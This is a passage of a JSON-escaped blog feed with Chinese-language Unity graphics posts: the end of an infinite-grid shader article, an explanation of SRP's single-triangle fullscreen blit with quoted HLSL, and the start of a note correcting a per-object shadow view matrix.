class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ealpha\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrag\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eVaryings\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einput\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edepth\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nd\"\u003eSV_Depth\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nd\"\u003eSV_Target\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetDepthAndWorldPosition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003einput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edepth\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 划分等级\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// level: 0 1 2 3 ...\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// cameraY: 0 --- 100 --- 1000 --- 10000 --- 100000 --- ...\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecameraY\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eabs\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_CameraPositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elevel\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003efloor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003elog10\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecameraY\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epow10Level\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003epow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elevel\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enextHeight\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epow10Level\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e100\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprevHeight\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elevel\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epow10Level\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprogress\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecameraY\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprevHeight\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enextHeight\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprevHeight\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetGridColor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elevel\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetGridColor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elevel\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003elerp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ec1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprogress\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eENDHLSL\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"参考\"\u003e参考\u003ca class=\"headerlink\" href=\"#参考\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://asliceofrendering.com/scene%20helper/2020/01/05/InfiniteGrid/\"\u003eHow to make an infinite grid. | A Slice of Rendering\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/647256794\"\u003e【UnityShader】无限网格(Infinite Grid )(14) - 知乎 (zhihu.com)\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/647926704\"\u003e如何绘制一个无限大的网格 - 知乎 (zhihu.com)\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"footnote\"\u003e\n\u003chr /\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003e\u003ca href=\"https://en.wikipedia.org/wiki/Fractional_part\"\u003eFractional part - Wikipedia\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:1\" title=\"Jump back to footnote 1 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003e\u003ca href=\"https://learn.microsoft.com/en-us/windows/win32/direct3dhlsl/dx-graphics-hlsl-frac\"\u003efrac - Win32 apps | Microsoft Learn\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:2\" title=\"Jump back to footnote 2 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/scene-view-infinite-grid/"},{"title":"Unity SRP 全屏 Blit 原理","time":"2024-10-13T02:36:33Z","content":"\u003ch1 id=\"Unity-SRP-全屏-Blit-原理\"\u003eUnity SRP 全屏 Blit 原理\u003ca class=\"headerlink\" href=\"#Unity-SRP-全屏-Blit-原理\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e一般我们做 Blit 用的都是两个三角形,或者一个 Quad。SRP 只用了一个三角形。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"示例图\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020241014124509.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e三角形顶点的齐次坐标是在 Vertex Shader 里根据 Vertex ID 计算的。三角形 Mesh 中 \u003ccode\u003ev0\u003c/code\u003e、\u003ccode\u003ev1\u003c/code\u003e、\u003ccode\u003ev2\u003c/code\u003e 三个顶点的坐标可以随便给。\u003c/p\u003e\n\u003cp\u003e源码:\u003ca href=\"https://github.com/Unity-Technologies/Graphics/blob/master/Packages/com.unity.render-pipelines.core/ShaderLibrary/Common.hlsl\"\u003eGraphics/Packages/com.unity.render-pipelines.core/ShaderLibrary/Common.hlsl at master · Unity-Technologies/Graphics (github.com)\u003c/a\u003e。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"c1\"\u003e// Generates a triangle in homogeneous clip space, s.t.\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// v0 = (-1, -1, 1), v1 = (3, -1, 1), v2 = (-1, 3, 1).\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetFullScreenTriangleTexCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003euint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#if UNITY_UV_STARTS_AT_TOP\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#else\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#endif\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetFullScreenTriangleVertexPosition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003euint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUNITY_NEAR_CLIP_VALUE\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// note: the triangle vertex position coordinates are x2 so the returned UV coordinates are in range -1, 1 on the screen.\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epos\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e2.0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#ifdef UNITY_PRETRANSFORM_TO_DISPLAY_ORIENTATION\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epos\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eApplyPretransformRotation\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epos\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#endif\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epos\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/unity-srp-fullscreen-blit/"},{"title":"对逐物体阴影的一些改进","time":"2024-09-23T07:09:35Z","content":"\u003ch1 id=\"对逐物体阴影的一些改进\"\u003e对逐物体阴影的一些改进\u003ca class=\"headerlink\" href=\"#对逐物体阴影的一些改进\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e之前在 \u003ca href=\"../toon-main-light-character-shadow/\"\u003e仿星铁渲染:主光源角色阴影\u003c/a\u003e 里提到了逐物体阴影的写法,这次要对之前的写法做一点改进。\u003c/p\u003e\n\u003ch2 id=\"改正-View-Matrix-的计算\"\u003e改正 View Matrix 的计算\u003ca class=\"headerlink\" href=\"#改正-View-Matrix-的计算\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e约定\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\mathbf{T}\\)\u003c/span\u003e 表示 \u003ccode\u003etranslate(aabbCenter)\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\mathbf{R}\\)\u003c/span\u003e 表示 \u003ccode\u003erotate(lightRotation)\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\mathbf{S}\\)\u003c/span\u003e 表示 \u003ccode\u003escale(1, 1, 1)\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\mathbf{Z}\\)\u003c/span\u003e 表示翻转 Z 轴\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\mathbf{w}\\)\u003c/span\u003e 表示 World Space 的点\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\mathbf{v}\\)\u003c/span\u003e 表示将 \u003cspan class=\"arithmatex\"\u003e\\(\\mathbf{w}\\)\u003c/span\u003e 变换到 View Space 后得到的点\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e有公式\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\mathbf{w}=\\mathbf{T}\\mathbf{R}\\mathbf{S}\\mathbf{Z}\\mathbf{v}\n\\]\u003c/div\u003e\n\u003cp\u003e所以\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\text{View Matrix}=\\mathbf{Z}^{-1}\\mathbf{S}^{-1}\\mathbf{R}^{-1}\\mathbf{T}^{-1}\n\\]\u003c/div\u003e\n\u003cp\u003e考虑到 \u003cspan class=\"arithmatex\"\u003e\\(\\mathbf{Z}^{-1}=\\mathbf{Z}\\)\u003c/span\u003e 且 \u003cspan class=\"arithmatex\"\u003e\\(\\mathbf{S}^{-1}=\\mathbf{S}\\)\u003c/span\u003e,所以下面几个公式也对\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\text{View Matrix}=\\mathbf{Z}\\mathbf{S}\\mathbf{R}^{-1}\\mathbf{T}^{-1}=\\mathbf{Z} (\\mathbf{T}\\mathbf{R}\\mathbf{S})^{-1}\n\\]\u003c/div\u003e\n\u003cp\u003e之前脑抽了,写成\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eTRS\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eaabbCenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einverse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elightRotation\u003c/span\u003e\u003cspan 